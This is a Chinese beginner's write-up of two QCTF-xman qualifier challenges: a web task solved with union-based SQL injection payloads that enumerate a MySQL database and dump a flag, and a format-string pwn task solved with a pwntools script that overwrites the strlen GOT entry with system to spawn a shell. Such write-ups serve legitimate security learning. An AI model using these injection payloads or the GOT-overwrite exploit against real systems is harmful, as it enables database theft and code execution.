QCTF-xman

周末试着尝试了一下QCTF-xman选拔赛的web题目和pwn题,萌新记录一下学习到的东西,毕竟还没入门的我是真的菜!

web

NewsCenter

emmmmm,第一次做web题目,用AWVS扫了一下,发现有sql注入漏洞,网页上仅有Search一个注入点,于是乎,开始学习如何进行sql注入。出现漏洞的网页是.php,后台服务器是appache,是个MySql的数据库。上网搜索到了如何查MySql数据库的库名,表名,字段名,由于第一次做web,还是需要记录一下操作过程的,网页没有过滤任何字符:

1
2
3
4
5
6
7
' union SELECT 1,2,schema_name FROM information_schema.SCHEMATA

' union SELECT 1,table_schema,table_name FROM information_schema.tables where table_schema="news" #

' union SELECT table_name,column_name,data_type FROM information_schema.columns where table_name="secret_table" #

' union SELECT 1,id,fl4g FROM news.secret_table #

即可得到flag:QCTF{sq1_inJec7ion_ezzzzzz}

pwn

notebook

第一次做格式化字符串漏洞,可以说还是踩了不少坑。
程序流程:

  1. sprintf输入到另外一个buffer中,对长度进行了校验。
  2. printf(buffer)

对于1中,需要知道两个”%%”在sprintf以后会成为一个”%”,对于%%n$hhn在sprintf以后就能恢复为%n$hhn,减少的%个数,可以通过在构造的输入末尾加上相应长度的字符串绕过长度校验,比如在最后加上%nc。

对于2中,需要知道格式化字符串漏洞的基本原理以及利用方式,主要有以下几点是格式化字符串中常用的方法和点:

  1. %n,%hn,%hhn 改写4字节,2字节,1字节
  2. %n$ 选中printf类函数的第n+1个参数
  3. 通常以下构造格式较为通用:[打印字符数量]+[改写位置]+address
  4. 确定改写首位置:找到调用printf类函数时,改写首位置n = 当前栈顶与buffer之间的距离/4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

# 更正思路,修改strlen函数got表->system,输入/bin/sh,直接调用
# 0x0804A038 -> 080485C0
# payload1 = p32(0x0804A03A)+"%%14$hhn%%4c%%20$hhn"+p32(0x0804A03B)+"22%%119c%%25$hhn"+p32(0x0804A039)+"%%55c%%30$hhn222"+p32(0x0804A038)+"%11c"
# payload2 = "2222"+"%%17$hhn"+p32(0x0804A03A)+"%%20$hhn"+p32(0x0804A03B)+"%%119c"+"22"+"%%25$hhn"+p32(0x0804A039)+"222"+"%%52c"+"%%30$hhn"+p32(0x0804A038)+"%10c"
# QCTF{f0rmat_s7r1ng_is_happy_}

def pwnIt():
p = process("./notebook")
# gdb.attach(p)
p.recvuntil("May I have your name?\n")
payload = p32(0x0804A03A)+"%%14$hhn%%4c%%20$hhn"+p32(0x0804A03B)+"22%%119c%%25$hhn"+p32(0x0804A039)+"%%55c%%30$hhn222"+p32(0x0804A038)+"%11c" p.sendline(payload)
p.recvuntil("on the notebook?\n")
p.sendline("/bin/sh\x00")
p.interactive()


if __name__=="__main__":
pwnIt()